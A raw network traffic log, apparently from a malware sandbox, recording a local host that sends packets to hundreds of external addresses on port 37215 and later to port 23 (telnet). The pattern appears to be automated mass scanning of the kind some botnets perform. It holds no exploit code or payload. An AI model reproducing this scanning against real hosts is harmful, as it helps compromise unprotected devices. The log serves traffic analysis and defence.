Oct 14, 2024 17:34:16.113420010 CEST	29625	37215	192.168.2.14	41.144.97.130
Oct 14, 2024 17:34:16.113430977 CEST	29625	37215	192.168.2.14	156.126.198.33
Oct 14, 2024 17:34:16.113435030 CEST	29625	37215	192.168.2.14	197.244.225.29
Oct 14, 2024 17:34:16.113441944 CEST	29625	37215	192.168.2.14	197.38.174.104
Oct 14, 2024 17:34:16.113456964 CEST	29625	37215	192.168.2.14	41.241.214.45
Oct 14, 2024 17:34:16.113467932 CEST	29625	37215	192.168.2.14	156.136.166.85
Oct 14, 2024 17:34:16.113470078 CEST	29625	37215	192.168.2.14	156.118.51.219
Oct 14, 2024 17:34:16.113492966 CEST	29625	37215	192.168.2.14	197.234.50.68
Oct 14, 2024 17:34:16.113495111 CEST	29625	37215	192.168.2.14	41.220.130.4
Oct 14, 2024 17:34:16.113495111 CEST	29625	37215	192.168.2.14	41.64.62.9
Oct 14, 2024 17:34:16.113497019 CEST	29625	37215	192.168.2.14	156.23.12.176
Oct 14, 2024 17:34:16.113498926 CEST	29625	37215	192.168.2.14	41.56.24.135
Oct 14, 2024 17:34:16.113498926 CEST	29625	37215	192.168.2.14	197.76.146.173
Oct 14, 2024 17:34:16.113501072 CEST	29625	37215	192.168.2.14	197.188.143.99
Oct 14, 2024 17:34:16.113501072 CEST	29625	37215	192.168.2.14	197.236.216.31
Oct 14, 2024 17:34:16.113511086 CEST	29625	37215	192.168.2.14	41.243.61.249
Oct 14, 2024 17:34:16.113513947 CEST	29625	37215	192.168.2.14	156.45.72.2
Oct 14, 2024 17:34:16.113533020 CEST	29625	37215	192.168.2.14	197.155.46.42
Oct 14, 2024 17:34:16.113538980 CEST	29625	37215	192.168.2.14	197.184.189.141
Oct 14, 2024 17:34:16.113542080 CEST	29625	37215	192.168.2.14	156.61.255.206
Oct 14, 2024 17:34:16.113548994 CEST	29625	37215	192.168.2.14	197.121.138.149
Oct 14, 2024 17:34:16.113553047 CEST	29625	37215	192.168.2.14	41.254.192.168
Oct 14, 2024 17:34:16.113568068 CEST	29625	37215	192.168.2.14	197.26.252.65
Oct 14, 2024 17:34:16.113574028 CEST	29625	37215	192.168.2.14	41.188.227.36
Oct 14, 2024 17:34:16.113575935 CEST	29625	37215	192.168.2.14	156.75.101.152
Oct 14, 2024 17:34:16.113583088 CEST	29625	37215	192.168.2.14	197.0.23.35
Oct 14, 2024 17:34:16.113588095 CEST	29625	37215	192.168.2.14	197.213.22.66
Oct 14, 2024 17:34:16.113600969 CEST	29625	37215	192.168.2.14	197.35.97.167
Oct 14, 2024 17:34:16.113605022 CEST	29625	37215	192.168.2.14	197.206.12.153
Oct 14, 2024 17:34:16.113606930 CEST	29625	37215	192.168.2.14	156.2.210.234
Oct 14, 2024 17:34:16.113609076 CEST	29625	37215	192.168.2.14	156.54.195.207
Oct 14, 2024 17:34:16.113610029 CEST	29625	37215	192.168.2.14	41.215.49.120
Oct 14, 2024 17:34:16.113615036 CEST	29625	37215	192.168.2.14	156.206.124.196
Oct 14, 2024 17:34:16.113637924 CEST	29625	37215	192.168.2.14	41.242.48.38
Oct 14, 2024 17:34:16.113650084 CEST	29625	37215	192.168.2.14	41.245.124.200
Oct 14, 2024 17:34:16.113652945 CEST	29625	37215	192.168.2.14	156.89.228.108
Oct 14, 2024 17:34:16.113652945 CEST	29625	37215	192.168.2.14	156.224.50.250
Oct 14, 2024 17:34:16.113671064 CEST	29625	37215	192.168.2.14	41.114.145.70
Oct 14, 2024 17:34:16.113671064 CEST	29625	37215	192.168.2.14	41.67.145.8
Oct 14, 2024 17:34:16.113673925 CEST	29625	37215	192.168.2.14	41.109.41.224
Oct 14, 2024 17:34:16.113691092 CEST	29625	37215	192.168.2.14	156.137.3.252
Oct 14, 2024 17:34:16.113692999 CEST	29625	37215	192.168.2.14	197.163.179.22
Oct 14, 2024 17:34:16.113692999 CEST	29625	37215	192.168.2.14	41.162.179.208
Oct 14, 2024 17:34:16.113692999 CEST	29625	37215	192.168.2.14	41.6.228.78
Oct 14, 2024 17:34:16.113698959 CEST	29625	37215	192.168.2.14	197.219.215.124
Oct 14, 2024 17:34:16.113698959 CEST	29625	37215	192.168.2.14	197.115.217.118
Oct 14, 2024 17:34:16.113714933 CEST	29625	37215	192.168.2.14	41.63.235.249
Oct 14, 2024 17:34:16.113714933 CEST	29625	37215	192.168.2.14	41.141.97.64
Oct 14, 2024 17:34:16.113714933 CEST	29625	37215	192.168.2.14	41.78.69.28
Oct 14, 2024 17:34:16.113733053 CEST	29625	37215	192.168.2.14	41.82.80.77
Oct 14, 2024 17:34:16.113734961 CEST	29625	37215	192.168.2.14	156.145.65.51
Oct 14, 2024 17:34:16.113738060 CEST	29625	37215	192.168.2.14	156.202.187.171
Oct 14, 2024 17:34:16.113738060 CEST	29625	37215	192.168.2.14	156.58.180.156
Oct 14, 2024 17:34:16.113739014 CEST	29625	37215	192.168.2.14	197.252.139.79
Oct 14, 2024 17:34:16.113774061 CEST	29625	37215	192.168.2.14	197.4.31.28
Oct 14, 2024 17:34:16.113790989 CEST	29625	37215	192.168.2.14	156.135.249.197
Oct 14, 2024 17:34:16.113791943 CEST	29625	37215	192.168.2.14	41.83.95.26
Oct 14, 2024 17:34:16.113794088 CEST	29625	37215	192.168.2.14	156.64.34.132
Oct 14, 2024 17:34:16.113795996 CEST	29625	37215	192.168.2.14	197.193.185.220
Oct 14, 2024 17:34:16.113801956 CEST	29625	37215	192.168.2.14	197.221.251.57
Oct 14, 2024 17:34:16.113815069 CEST	29625	37215	192.168.2.14	197.200.92.81
Oct 14, 2024 17:34:16.113820076 CEST	29625	37215	192.168.2.14	197.150.61.224
Oct 14, 2024 17:34:16.113831997 CEST	29625	37215	192.168.2.14	156.0.247.75
Oct 14, 2024 17:34:16.113833904 CEST	29625	37215	192.168.2.14	41.94.68.180
Oct 14, 2024 17:34:16.113857985 CEST	29625	37215	192.168.2.14	41.86.247.157
Oct 14, 2024 17:34:16.113858938 CEST	29625	37215	192.168.2.14	197.230.169.118
Oct 14, 2024 17:34:16.113873005 CEST	29625	37215	192.168.2.14	156.6.38.205
Oct 14, 2024 17:34:16.113873959 CEST	29625	37215	192.168.2.14	41.35.33.59
Oct 14, 2024 17:34:16.113874912 CEST	29625	37215	192.168.2.14	41.31.247.92
Oct 14, 2024 17:34:16.113892078 CEST	29625	37215	192.168.2.14	156.242.184.144
Oct 14, 2024 17:34:16.113893986 CEST	29625	37215	192.168.2.14	41.90.48.26
Oct 14, 2024 17:34:16.113894939 CEST	29625	37215	192.168.2.14	156.197.122.33
Oct 14, 2024 17:34:16.113905907 CEST	29625	37215	192.168.2.14	156.131.71.147
Oct 14, 2024 17:34:16.113905907 CEST	29625	37215	192.168.2.14	197.109.29.255
Oct 14, 2024 17:34:16.113926888 CEST	29625	37215	192.168.2.14	197.154.235.61
Oct 14, 2024 17:34:16.113939047 CEST	29625	37215	192.168.2.14	156.27.20.183
Oct 14, 2024 17:34:16.113944054 CEST	29625	37215	192.168.2.14	197.66.174.41
Oct 14, 2024 17:34:16.113950968 CEST	29625	37215	192.168.2.14	197.240.197.100
Oct 14, 2024 17:34:16.113950968 CEST	29625	37215	192.168.2.14	156.179.89.127
Oct 14, 2024 17:34:16.113956928 CEST	29625	37215	192.168.2.14	41.136.0.158
Oct 14, 2024 17:34:16.113966942 CEST	29625	37215	192.168.2.14	197.120.110.4
Oct 14, 2024 17:34:16.113972902 CEST	29625	37215	192.168.2.14	197.17.100.20
Oct 14, 2024 17:34:16.114001989 CEST	29625	37215	192.168.2.14	41.178.193.83
Oct 14, 2024 17:34:16.114006996 CEST	29625	37215	192.168.2.14	41.24.149.255
Oct 14, 2024 17:34:16.114006996 CEST	29625	37215	192.168.2.14	156.40.241.31
Oct 14, 2024 17:34:16.114017010 CEST	29625	37215	192.168.2.14	41.163.93.48
Oct 14, 2024 17:34:16.114027977 CEST	29625	37215	192.168.2.14	41.66.164.27
Oct 14, 2024 17:34:16.114027977 CEST	29625	37215	192.168.2.14	156.159.22.33
Oct 14, 2024 17:34:16.114036083 CEST	29625	37215	192.168.2.14	197.17.105.133
Oct 14, 2024 17:34:16.114037991 CEST	29625	37215	192.168.2.14	156.137.53.127
Oct 14, 2024 17:34:16.114043951 CEST	29625	37215	192.168.2.14	197.30.161.238
Oct 14, 2024 17:34:16.114049911 CEST	29625	37215	192.168.2.14	41.26.153.105
Oct 14, 2024 17:34:16.114056110 CEST	29625	37215	192.168.2.14	197.125.129.106
Oct 14, 2024 17:34:16.114068031 CEST	29625	37215	192.168.2.14	197.129.163.233
Oct 14, 2024 17:34:16.114068985 CEST	29625	37215	192.168.2.14	197.67.124.173
Oct 14, 2024 17:34:16.114089966 CEST	29625	37215	192.168.2.14	41.182.231.67
Oct 14, 2024 17:34:16.114106894 CEST	29625	37215	192.168.2.14	197.114.89.98
Oct 14, 2024 17:34:16.114108086 CEST	29625	37215	192.168.2.14	41.125.225.86
Oct 14, 2024 17:34:16.114108086 CEST	29625	37215	192.168.2.14	41.128.132.34
Oct 14, 2024 17:34:16.114109993 CEST	29625	37215	192.168.2.14	197.169.215.253
Oct 14, 2024 17:34:16.114123106 CEST	29625	37215	192.168.2.14	41.40.104.241
Oct 14, 2024 17:34:16.114125013 CEST	29625	37215	192.168.2.14	156.96.129.236
Oct 14, 2024 17:34:16.114128113 CEST	29625	37215	192.168.2.14	41.52.1.189
Oct 14, 2024 17:34:16.114147902 CEST	29625	37215	192.168.2.14	41.158.33.73
Oct 14, 2024 17:34:16.114150047 CEST	29625	37215	192.168.2.14	41.99.226.180
Oct 14, 2024 17:34:16.114156961 CEST	29625	37215	192.168.2.14	197.23.172.189
Oct 14, 2024 17:34:16.114160061 CEST	29625	37215	192.168.2.14	156.200.220.25
Oct 14, 2024 17:34:16.114160061 CEST	29625	37215	192.168.2.14	156.37.7.113
Oct 14, 2024 17:34:16.114161015 CEST	29625	37215	192.168.2.14	41.92.76.220
Oct 14, 2024 17:34:16.114185095 CEST	29625	37215	192.168.2.14	156.182.176.138
Oct 14, 2024 17:34:16.114202023 CEST	29625	37215	192.168.2.14	197.79.104.114
Oct 14, 2024 17:34:16.114202023 CEST	29625	37215	192.168.2.14	41.240.242.49
Oct 14, 2024 17:34:16.114213943 CEST	29625	37215	192.168.2.14	197.32.123.212
Oct 14, 2024 17:34:16.114218950 CEST	29625	37215	192.168.2.14	156.170.126.126
Oct 14, 2024 17:34:16.114223957 CEST	29625	37215	192.168.2.14	197.198.8.152
Oct 14, 2024 17:34:16.114223957 CEST	29625	37215	192.168.2.14	41.16.59.69
Oct 14, 2024 17:34:16.114239931 CEST	29625	37215	192.168.2.14	197.139.7.26
Oct 14, 2024 17:34:16.114240885 CEST	29625	37215	192.168.2.14	197.151.110.189
Oct 14, 2024 17:34:16.114248991 CEST	29625	37215	192.168.2.14	41.109.83.85
Oct 14, 2024 17:34:16.114258051 CEST	29625	37215	192.168.2.14	156.210.83.239
Oct 14, 2024 17:34:16.114288092 CEST	29625	37215	192.168.2.14	41.231.183.11
Oct 14, 2024 17:34:16.114295959 CEST	29625	37215	192.168.2.14	156.192.211.129
Oct 14, 2024 17:34:16.114305973 CEST	29625	37215	192.168.2.14	41.107.55.230
Oct 14, 2024 17:34:16.114308119 CEST	29625	37215	192.168.2.14	156.36.178.204
Oct 14, 2024 17:34:16.114308119 CEST	29625	37215	192.168.2.14	41.130.130.108
Oct 14, 2024 17:34:16.114315987 CEST	29625	37215	192.168.2.14	197.32.62.90
Oct 14, 2024 17:34:16.114317894 CEST	29625	37215	192.168.2.14	41.26.99.164
Oct 14, 2024 17:34:16.114317894 CEST	29625	37215	192.168.2.14	156.238.1.71
Oct 14, 2024 17:34:16.114320993 CEST	29625	37215	192.168.2.14	197.50.86.57
Oct 14, 2024 17:34:16.114337921 CEST	29625	37215	192.168.2.14	156.223.43.214
Oct 14, 2024 17:34:16.114343882 CEST	29625	37215	192.168.2.14	41.253.94.220
Oct 14, 2024 17:34:16.114346027 CEST	29625	37215	192.168.2.14	156.99.2.115
Oct 14, 2024 17:34:16.114360094 CEST	29625	37215	192.168.2.14	156.146.198.162
Oct 14, 2024 17:34:16.114381075 CEST	29625	37215	192.168.2.14	156.153.208.235
Oct 14, 2024 17:34:16.114397049 CEST	29625	37215	192.168.2.14	41.71.126.124
Oct 14, 2024 17:34:16.114396095 CEST	29625	37215	192.168.2.14	197.154.177.235
Oct 14, 2024 17:34:16.114397049 CEST	29625	37215	192.168.2.14	156.250.24.188
Oct 14, 2024 17:34:16.114402056 CEST	29625	37215	192.168.2.14	156.35.104.174
Oct 14, 2024 17:34:16.114403009 CEST	29625	37215	192.168.2.14	156.40.147.86
Oct 14, 2024 17:34:16.114417076 CEST	29625	37215	192.168.2.14	41.83.144.35
Oct 14, 2024 17:34:16.114420891 CEST	29625	37215	192.168.2.14	197.39.196.249
Oct 14, 2024 17:34:16.114420891 CEST	29625	37215	192.168.2.14	41.188.91.241
Oct 14, 2024 17:34:16.114424944 CEST	29625	37215	192.168.2.14	41.22.128.251
Oct 14, 2024 17:34:16.114443064 CEST	29625	37215	192.168.2.14	156.101.76.58
Oct 14, 2024 17:34:16.114444017 CEST	29625	37215	192.168.2.14	156.7.136.3
Oct 14, 2024 17:34:16.114445925 CEST	29625	37215	192.168.2.14	156.233.97.114
Oct 14, 2024 17:34:16.114466906 CEST	29625	37215	192.168.2.14	197.200.185.183
Oct 14, 2024 17:34:16.114485025 CEST	29625	37215	192.168.2.14	156.241.210.252
Oct 14, 2024 17:34:16.114505053 CEST	29625	37215	192.168.2.14	197.87.232.124
Oct 14, 2024 17:34:16.114509106 CEST	29625	37215	192.168.2.14	156.69.210.153
Oct 14, 2024 17:34:16.114509106 CEST	29625	37215	192.168.2.14	156.220.27.55
Oct 14, 2024 17:34:16.114509106 CEST	29625	37215	192.168.2.14	156.205.205.108
Oct 14, 2024 17:34:16.114522934 CEST	29625	37215	192.168.2.14	41.195.131.206
Oct 14, 2024 17:34:16.114522934 CEST	29625	37215	192.168.2.14	41.60.254.151
Oct 14, 2024 17:34:16.114522934 CEST	29625	37215	192.168.2.14	156.27.170.128
Oct 14, 2024 17:34:16.114533901 CEST	29625	37215	192.168.2.14	41.58.187.32
Oct 14, 2024 17:34:16.114535093 CEST	29625	37215	192.168.2.14	156.103.172.139
Oct 14, 2024 17:34:16.114547968 CEST	29625	37215	192.168.2.14	197.73.164.44
Oct 14, 2024 17:34:16.114547968 CEST	29625	37215	192.168.2.14	197.181.187.124
Oct 14, 2024 17:34:16.114551067 CEST	29625	37215	192.168.2.14	156.102.150.198
Oct 14, 2024 17:34:16.114572048 CEST	29625	37215	192.168.2.14	197.16.51.178
Oct 14, 2024 17:34:16.114572048 CEST	29625	37215	192.168.2.14	197.213.117.152
Oct 14, 2024 17:34:16.114578962 CEST	29625	37215	192.168.2.14	197.212.81.224
Oct 14, 2024 17:34:16.114593029 CEST	29625	37215	192.168.2.14	197.23.101.76
Oct 14, 2024 17:34:16.114594936 CEST	29625	37215	192.168.2.14	41.39.194.192
Oct 14, 2024 17:34:16.114598036 CEST	29625	37215	192.168.2.14	41.119.114.127
Oct 14, 2024 17:34:16.114623070 CEST	29625	37215	192.168.2.14	41.237.202.198
Oct 14, 2024 17:34:16.114629030 CEST	29625	37215	192.168.2.14	197.54.139.64
Oct 14, 2024 17:34:16.114643097 CEST	29625	37215	192.168.2.14	156.131.169.61
Oct 14, 2024 17:34:16.114659071 CEST	29625	37215	192.168.2.14	156.41.40.253
Oct 14, 2024 17:34:16.114660025 CEST	29625	37215	192.168.2.14	41.69.245.90
Oct 14, 2024 17:34:16.114660025 CEST	29625	37215	192.168.2.14	197.163.56.153
Oct 14, 2024 17:34:16.114660978 CEST	29625	37215	192.168.2.14	197.66.193.142
Oct 14, 2024 17:34:16.114660978 CEST	29625	37215	192.168.2.14	156.246.104.118
Oct 14, 2024 17:34:16.114669085 CEST	29625	37215	192.168.2.14	41.173.246.85
Oct 14, 2024 17:34:16.114708900 CEST	29625	37215	192.168.2.14	41.199.121.2
Oct 14, 2024 17:34:16.114710093 CEST	29625	37215	192.168.2.14	156.174.36.216
Oct 14, 2024 17:34:16.114715099 CEST	29625	37215	192.168.2.14	41.227.83.39
Oct 14, 2024 17:34:16.114717960 CEST	29625	37215	192.168.2.14	197.8.218.94
Oct 14, 2024 17:34:16.114727020 CEST	29625	37215	192.168.2.14	156.55.208.175
Oct 14, 2024 17:34:16.114727974 CEST	29625	37215	192.168.2.14	41.22.162.88
Oct 14, 2024 17:34:16.114727974 CEST	29625	37215	192.168.2.14	41.148.190.117
Oct 14, 2024 17:34:16.114744902 CEST	29625	37215	192.168.2.14	41.87.235.102
Oct 14, 2024 17:34:16.114759922 CEST	29625	37215	192.168.2.14	156.190.190.89
Oct 14, 2024 17:34:16.114762068 CEST	29625	37215	192.168.2.14	41.31.163.156
Oct 14, 2024 17:34:16.114763021 CEST	29625	37215	192.168.2.14	156.86.0.49
Oct 14, 2024 17:34:16.114777088 CEST	29625	37215	192.168.2.14	197.225.16.168
Oct 14, 2024 17:34:16.114799023 CEST	29625	37215	192.168.2.14	197.190.219.114
Oct 14, 2024 17:34:16.114803076 CEST	29625	37215	192.168.2.14	156.21.118.15
Oct 14, 2024 17:34:16.114818096 CEST	29625	37215	192.168.2.14	156.224.42.48
Oct 14, 2024 17:34:16.114818096 CEST	29625	37215	192.168.2.14	41.128.226.168
Oct 14, 2024 17:34:16.114818096 CEST	29625	37215	192.168.2.14	41.9.64.160
Oct 14, 2024 17:34:16.114821911 CEST	29625	37215	192.168.2.14	41.226.159.52
Oct 14, 2024 17:34:16.114825010 CEST	29625	37215	192.168.2.14	156.74.196.164
Oct 14, 2024 17:34:16.114842892 CEST	29625	37215	192.168.2.14	156.228.63.216
Oct 14, 2024 17:34:16.114844084 CEST	29625	37215	192.168.2.14	197.245.130.58
Oct 14, 2024 17:34:16.114959955 CEST	58404	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:16.117851973 CEST	37215	29625	156.79.224.50	192.168.2.14
Oct 14, 2024 17:34:16.117870092 CEST	37215	29625	197.10.164.146	192.168.2.14
Oct 14, 2024 17:34:16.117896080 CEST	37215	29625	197.176.215.209	192.168.2.14
Oct 14, 2024 17:34:16.117902040 CEST	29625	37215	192.168.2.14	156.79.224.50
Oct 14, 2024 17:34:16.117903948 CEST	29625	37215	192.168.2.14	197.10.164.146
Oct 14, 2024 17:34:16.117906094 CEST	37215	29625	156.143.114.100	192.168.2.14
Oct 14, 2024 17:34:16.117917061 CEST	37215	29625	197.115.19.88	192.168.2.14
Oct 14, 2024 17:34:16.117927074 CEST	37215	29625	197.129.241.38	192.168.2.14
Oct 14, 2024 17:34:16.117934942 CEST	29625	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:16.117938995 CEST	29625	37215	192.168.2.14	156.143.114.100
Oct 14, 2024 17:34:16.117945910 CEST	29625	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:16.118035078 CEST	37215	29625	156.3.144.182	192.168.2.14
Oct 14, 2024 17:34:16.118046999 CEST	37215	29625	156.195.126.2	192.168.2.14
Oct 14, 2024 17:34:16.118056059 CEST	37215	29625	156.22.246.197	192.168.2.14
Oct 14, 2024 17:34:16.118067026 CEST	37215	29625	41.77.208.129	192.168.2.14
Oct 14, 2024 17:34:16.118076086 CEST	37215	29625	156.148.67.239	192.168.2.14
Oct 14, 2024 17:34:16.118078947 CEST	29625	37215	192.168.2.14	156.195.126.2
Oct 14, 2024 17:34:16.118083000 CEST	29625	37215	192.168.2.14	156.3.144.182
Oct 14, 2024 17:34:16.118087053 CEST	37215	29625	156.248.67.162	192.168.2.14
Oct 14, 2024 17:34:16.118091106 CEST	29625	37215	192.168.2.14	197.129.241.38
Oct 14, 2024 17:34:16.118091106 CEST	29625	37215	192.168.2.14	156.22.246.197
Oct 14, 2024 17:34:16.118097067 CEST	37215	29625	197.206.92.149	192.168.2.14
Oct 14, 2024 17:34:16.118104935 CEST	29625	37215	192.168.2.14	41.77.208.129
Oct 14, 2024 17:34:16.118107080 CEST	37215	29625	197.111.224.208	192.168.2.14
Oct 14, 2024 17:34:16.118108034 CEST	29625	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:16.118117094 CEST	37215	29625	41.49.180.114	192.168.2.14
Oct 14, 2024 17:34:16.118127108 CEST	37215	29625	197.106.20.72	192.168.2.14
Oct 14, 2024 17:34:16.118128061 CEST	29625	37215	192.168.2.14	156.248.67.162
Oct 14, 2024 17:34:16.118129969 CEST	29625	37215	192.168.2.14	197.206.92.149
Oct 14, 2024 17:34:16.118139029 CEST	37215	29625	156.153.120.33	192.168.2.14
Oct 14, 2024 17:34:16.118146896 CEST	29625	37215	192.168.2.14	197.111.224.208
Oct 14, 2024 17:34:16.118149042 CEST	37215	29625	41.185.122.216	192.168.2.14
Oct 14, 2024 17:34:16.118154049 CEST	29625	37215	192.168.2.14	41.49.180.114
Oct 14, 2024 17:34:16.118158102 CEST	29625	37215	192.168.2.14	197.106.20.72
Oct 14, 2024 17:34:16.118164062 CEST	37215	29625	156.197.10.153	192.168.2.14
Oct 14, 2024 17:34:16.118174076 CEST	37215	29625	197.147.252.31	192.168.2.14
Oct 14, 2024 17:34:16.118186951 CEST	29625	37215	192.168.2.14	156.153.120.33
Oct 14, 2024 17:34:16.118195057 CEST	37215	29625	156.131.207.90	192.168.2.14
Oct 14, 2024 17:34:16.118199110 CEST	29625	37215	192.168.2.14	156.197.10.153
Oct 14, 2024 17:34:16.118206024 CEST	37215	29625	156.214.51.232	192.168.2.14
Oct 14, 2024 17:34:16.118206024 CEST	29625	37215	192.168.2.14	41.185.122.216
Oct 14, 2024 17:34:16.118216038 CEST	37215	29625	156.82.53.197	192.168.2.14
Oct 14, 2024 17:34:16.118218899 CEST	29625	37215	192.168.2.14	197.147.252.31
Oct 14, 2024 17:34:16.118225098 CEST	37215	29625	197.183.177.121	192.168.2.14
Oct 14, 2024 17:34:16.118233919 CEST	29625	37215	192.168.2.14	156.131.207.90
Oct 14, 2024 17:34:16.118233919 CEST	29625	37215	192.168.2.14	156.214.51.232
Oct 14, 2024 17:34:16.118236065 CEST	37215	29625	156.75.142.201	192.168.2.14
Oct 14, 2024 17:34:16.118246078 CEST	37215	29625	197.174.35.118	192.168.2.14
Oct 14, 2024 17:34:16.118248940 CEST	29625	37215	192.168.2.14	156.82.53.197
Oct 14, 2024 17:34:16.118254900 CEST	37215	29625	156.88.61.100	192.168.2.14
Oct 14, 2024 17:34:16.118261099 CEST	29625	37215	192.168.2.14	197.183.177.121
Oct 14, 2024 17:34:16.118261099 CEST	29625	37215	192.168.2.14	156.75.142.201
Oct 14, 2024 17:34:16.118263960 CEST	37215	29625	156.96.124.186	192.168.2.14
Oct 14, 2024 17:34:16.118274927 CEST	29625	37215	192.168.2.14	197.174.35.118
Oct 14, 2024 17:34:16.118279934 CEST	29625	37215	192.168.2.14	156.88.61.100
Oct 14, 2024 17:34:16.118289948 CEST	29625	37215	192.168.2.14	156.96.124.186
Oct 14, 2024 17:34:16.118351936 CEST	37215	29625	156.56.138.28	192.168.2.14
Oct 14, 2024 17:34:16.118360996 CEST	37215	29625	41.221.218.63	192.168.2.14
Oct 14, 2024 17:34:16.118371010 CEST	37215	29625	41.97.48.137	192.168.2.14
Oct 14, 2024 17:34:16.118381023 CEST	37215	29625	197.88.68.6	192.168.2.14
Oct 14, 2024 17:34:16.118386984 CEST	29625	37215	192.168.2.14	156.56.138.28
Oct 14, 2024 17:34:16.118390083 CEST	37215	29625	197.120.157.102	192.168.2.14
Oct 14, 2024 17:34:16.118400097 CEST	29625	37215	192.168.2.14	41.221.218.63
Oct 14, 2024 17:34:16.118401051 CEST	37215	29625	41.251.207.106	192.168.2.14
Oct 14, 2024 17:34:16.118412971 CEST	37215	29625	156.201.207.50	192.168.2.14
Oct 14, 2024 17:34:16.118417025 CEST	29625	37215	192.168.2.14	41.97.48.137
Oct 14, 2024 17:34:16.118417025 CEST	29625	37215	192.168.2.14	197.88.68.6
Oct 14, 2024 17:34:16.118422031 CEST	37215	29625	156.230.123.62	192.168.2.14
Oct 14, 2024 17:34:16.118431091 CEST	37215	29625	41.31.159.219	192.168.2.14
Oct 14, 2024 17:34:16.118433952 CEST	29625	37215	192.168.2.14	197.120.157.102
Oct 14, 2024 17:34:16.118449926 CEST	37215	29625	41.151.2.41	192.168.2.14
Oct 14, 2024 17:34:16.118449926 CEST	29625	37215	192.168.2.14	156.201.207.50
Oct 14, 2024 17:34:16.118453979 CEST	29625	37215	192.168.2.14	41.251.207.106
Oct 14, 2024 17:34:16.118453979 CEST	29625	37215	192.168.2.14	156.230.123.62
Oct 14, 2024 17:34:16.118460894 CEST	37215	29625	197.46.111.174	192.168.2.14
Oct 14, 2024 17:34:16.118465900 CEST	29625	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:16.118472099 CEST	37215	29625	197.7.68.0	192.168.2.14
Oct 14, 2024 17:34:16.118482113 CEST	37215	29625	197.215.97.80	192.168.2.14
Oct 14, 2024 17:34:16.118485928 CEST	29625	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:16.118500948 CEST	37215	29625	41.248.6.88	192.168.2.14
Oct 14, 2024 17:34:16.118505955 CEST	29625	37215	192.168.2.14	197.46.111.174
Oct 14, 2024 17:34:16.118506908 CEST	29625	37215	192.168.2.14	197.215.97.80
Oct 14, 2024 17:34:16.118508101 CEST	29625	37215	192.168.2.14	197.7.68.0
Oct 14, 2024 17:34:16.118510962 CEST	37215	29625	41.34.237.65	192.168.2.14
Oct 14, 2024 17:34:16.118526936 CEST	37215	29625	41.71.82.244	192.168.2.14
Oct 14, 2024 17:34:16.118536949 CEST	37215	29625	197.14.250.68	192.168.2.14
Oct 14, 2024 17:34:16.118540049 CEST	29625	37215	192.168.2.14	41.248.6.88
Oct 14, 2024 17:34:16.118547916 CEST	37215	29625	197.100.215.91	192.168.2.14
Oct 14, 2024 17:34:16.118554115 CEST	29625	37215	192.168.2.14	41.34.237.65
Oct 14, 2024 17:34:16.118555069 CEST	29625	37215	192.168.2.14	41.71.82.244
Oct 14, 2024 17:34:16.118560076 CEST	37215	29625	156.35.115.66	192.168.2.14
Oct 14, 2024 17:34:16.118571043 CEST	37215	29625	156.34.154.136	192.168.2.14
Oct 14, 2024 17:34:16.118578911 CEST	29625	37215	192.168.2.14	197.100.215.91
Oct 14, 2024 17:34:16.118580103 CEST	37215	29625	41.75.216.122	192.168.2.14
Oct 14, 2024 17:34:16.118591070 CEST	37215	29625	41.120.20.62	192.168.2.14
Oct 14, 2024 17:34:16.118597984 CEST	29625	37215	192.168.2.14	197.14.250.68
Oct 14, 2024 17:34:16.118597984 CEST	29625	37215	192.168.2.14	156.35.115.66
Oct 14, 2024 17:34:16.118601084 CEST	37215	29625	156.45.137.16	192.168.2.14
Oct 14, 2024 17:34:16.118609905 CEST	29625	37215	192.168.2.14	156.34.154.136
Oct 14, 2024 17:34:16.118609905 CEST	29625	37215	192.168.2.14	41.75.216.122
Oct 14, 2024 17:34:16.118611097 CEST	37215	29625	41.97.33.14	192.168.2.14
Oct 14, 2024 17:34:16.118619919 CEST	37215	29625	197.180.247.201	192.168.2.14
Oct 14, 2024 17:34:16.118632078 CEST	29625	37215	192.168.2.14	156.45.137.16
Oct 14, 2024 17:34:16.118658066 CEST	29625	37215	192.168.2.14	197.180.247.201
Oct 14, 2024 17:34:16.118675947 CEST	29625	37215	192.168.2.14	41.97.33.14
Oct 14, 2024 17:34:16.118678093 CEST	29625	37215	192.168.2.14	41.120.20.62
Oct 14, 2024 17:34:16.123270035 CEST	37215	58404	41.51.46.101	192.168.2.14
Oct 14, 2024 17:34:16.123295069 CEST	37215	53744	41.121.163.72	192.168.2.14
Oct 14, 2024 17:34:16.123303890 CEST	37215	60934	156.91.72.145	192.168.2.14
Oct 14, 2024 17:34:16.124849081 CEST	29508	23	192.168.2.14	142.213.191.133
Oct 14, 2024 17:34:16.124856949 CEST	29508	23	192.168.2.14	134.102.113.98
Oct 14, 2024 17:34:16.124861956 CEST	29508	23	192.168.2.14	8.31.56.194
Oct 14, 2024 17:34:16.124876022 CEST	29508	23	192.168.2.14	187.206.138.150
Oct 14, 2024 17:34:16.124886990 CEST	29508	23	192.168.2.14	71.140.75.153
Oct 14, 2024 17:34:16.124887943 CEST	29508	23	192.168.2.14	71.212.219.113
Oct 14, 2024 17:34:16.124898911 CEST	29508	23	192.168.2.14	151.8.162.139
Oct 14, 2024 17:34:16.124898911 CEST	29508	23	192.168.2.14	159.177.218.128
Oct 14, 2024 17:34:16.124898911 CEST	29508	23	192.168.2.14	196.224.249.222
Oct 14, 2024 17:34:16.124903917 CEST	29508	23	192.168.2.14	40.102.88.29
Oct 14, 2024 17:34:16.124917030 CEST	29508	23	192.168.2.14	178.86.109.147
Oct 14, 2024 17:34:16.124917984 CEST	29508	23	192.168.2.14	63.78.212.50
Oct 14, 2024 17:34:16.124922991 CEST	29508	23	192.168.2.14	62.103.136.41
Oct 14, 2024 17:34:16.124922991 CEST	29508	23	192.168.2.14	114.111.221.73
Oct 14, 2024 17:34:16.124938011 CEST	29508	23	192.168.2.14	122.114.46.184
Oct 14, 2024 17:34:16.124947071 CEST	29508	23	192.168.2.14	121.183.131.179
Oct 14, 2024 17:34:16.124953032 CEST	29508	23	192.168.2.14	91.44.19.0
Oct 14, 2024 17:34:16.124953032 CEST	29508	23	192.168.2.14	60.76.56.93
Oct 14, 2024 17:34:16.124954939 CEST	29508	23	192.168.2.14	47.185.102.128
Oct 14, 2024 17:34:16.124954939 CEST	29508	23	192.168.2.14	67.14.233.51
